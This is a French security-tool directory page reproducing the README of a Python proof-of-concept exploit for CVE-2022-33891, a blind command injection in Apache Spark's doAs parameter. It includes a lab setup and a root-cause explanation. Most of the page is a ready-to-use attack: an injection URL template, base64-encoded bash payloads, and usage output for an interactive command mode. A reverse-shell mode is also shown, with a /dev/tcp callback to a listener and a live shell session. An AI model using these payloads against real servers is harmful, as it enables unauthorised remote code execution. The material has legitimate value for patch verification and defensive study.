Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2022-33891 — Vulnérabilité d'injection de commande dans Apache Spark Shell | Kitploit
Outils/GitHubGitHub/huskyhacks/cve-2022-33891
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHubhuskyhacks/cve-2022-33891

cve-2022-33891

Vulnérabilité d'injection de commande dans Apache Spark Shell

Voir le dépôt
89173il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-33891

Vulnérabilité d'injection de commande dans le shell Apache Spark

Un POC Python pour exploiter la vulnérabilité d'injection de commande dans le shell Apache Spark. J'ai vu d'autres POC ailleurs, mais ils avaient l'air très suspects. Celui-ci est propre et simple.

Je n'ai pas découvert cet exploit/cette vulnérabilité. Je voulais juste faire un POC sûr pour la communauté ^.^

CVE découverte à l'origine par Kostya Kortchinsky de Databricks.

Mise à jour 9/7/22 : Hé, il y a maintenant un module Metasploit pour cela ! Créé par h00die-gr3y et il est maintenant fusionné!

Versions affectées

Apache Spark versions 3.0.3 et antérieures, versions 3.1.1 à 3.1.2, et versions 3.2.0 à 3.2.1

Composant vulnérable

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

Exemple

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... dort pendant 10 secondes

Configuration

Vous avez besoin d'une version vulnérable de Spark avec une seule option de configuration modifiée.

  • Installez les dépendances : $ pip3 install -r requirements.txt
  • Placez-vous dans le répertoire spark/.
  • Utilisez le fichier docker-compose.yml fourni dans le répertoire spark/ et exécutez docker-compose up. Laissez le conteneur démarrer.
  • Dans un nouveau terminal, exécutez sudo docker exec -it spark_spark_1 /bin/bash
  • Dans la session bash du conteneur, saisissez : echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • Optionnellement, affichez le contenu de spark-defaults.conf pour vous assurer qu'il est correct.
  • Quittez le shell interactif bash et faites Ctl-C sur votre processus docker-compose.
  • Une fois que les conteneurs se sont arrêtés correctement, relancez docker-compose up

Usage

root@kitploit:~
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
              [-lh LISTENINGHOST] [-lp LISTENINGPORT]
              [--check] [--verbose]

CVE-2022-33891 Python POC Exploit Script

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL to exploit.
  -p PORT, --port PORT  Exploit target's port.
  --revshell            Reverse Shell option.
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        Your listening host IP address.
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        Your listening host port.
  --check               Checks if the target is
                        exploitable with a sleep test
  --verbose             Verbose mode

Exemples

Vérifiez si la cible est vulnérable :

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!

Exécutez des commandes dans une boucle d'invite de commandes :

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891> 

Exécutez un shell inversé :

root@kitploit:~
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...

...[in the other terminal]...

husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$ 

Plus d'informations

L'injection de commande se produit car Spark vérifie l'appartenance au groupe de l'utilisateur passé dans le paramètre ?doAs en utilisant une commande Linux brute. L'interpolation Bash exécute la commande, envoie la sortie au champ id et tente de rechercher l'utilisateur résultant.

Passer which python comme valeur de ?doAs= produit ce résultat dans la trace :

root@kitploit:~
...
http://localhost:8080/?doAs=`which%20python`
...

spark_1  | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1  | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1: 
spark_1  | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`

Ici, Java a décidé qu'il serait préférable de passer la commande id dans bash -c pour vérifier l'appartenance au groupe d'un utilisateur spécifié. Le problème est que cela permet également l'injection de commande. L'interpolation Bash a évalué la commande donnée et imprimé les résultats sur la ligne 1 de cette sortie, et tente de rechercher l'utilisateur par la sortie standard de la commande.

Il n'y a pas d'utilisateur nommé /opt/bitnami/python/bin/python mais cela signifie que la commande a bien été passée à Bash et exécutée.

Les versions corrigées paramètrent cet appel pour utiliser un chemin complet vers la commande /bin/id au lieu de bash -c id.

Il est à noter que rien n'est reflété sur la page lors de l'exécution de la commande, il s'agit donc d'une injection OS aveugle. Vos commandes s'exécutent, mais il n'y aura aucune indication qu'elles ont fonctionné ou non, ni même si le programme que vous exécutez est présent sur la cible. Par exemple, le conteneur qui est démarré avec le fichier docker-compose.yml de ce dépôt n'a pas ping, donc vérifier l'injection de commande via un pingback ne fonctionnera pas. Mais vous ne le saurez pas, donc vous vous demanderez si cela a fonctionné ou non.

Le test de mise en veille est un pari sûr ^.^

OPSEC

Je n'ai passé absolument aucun cycle à rendre ce POC sûr du point de vue OPSEC. Les red teamers, c'est votre affaire.

Avertissement

Ce POC n'a aucune capacité de recensement passif. L'exploit est une injection de commande aveugle. Si vous utilisez ce script contre une cible, vous envoyez des paquets vers celle-ci. Même si vous utilisez le paramètre --check et que la cible est vulnérable, vous l'exploitez activement pour prouver qu'elle est vulnérable.

Ne l'utilisez pas sur des systèmes de production sensibles aux tests. Ne l'utilisez pas contre des cibles si vous n'avez pas l'autorisation de le faire. Je ne suis en aucun cas responsable de la façon dont vous choisissez d'utiliser ceci.

Jetez un œil à la licence.

Références

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (je ne recommande pas d'utiliser ce POC)
Télécharger l’outil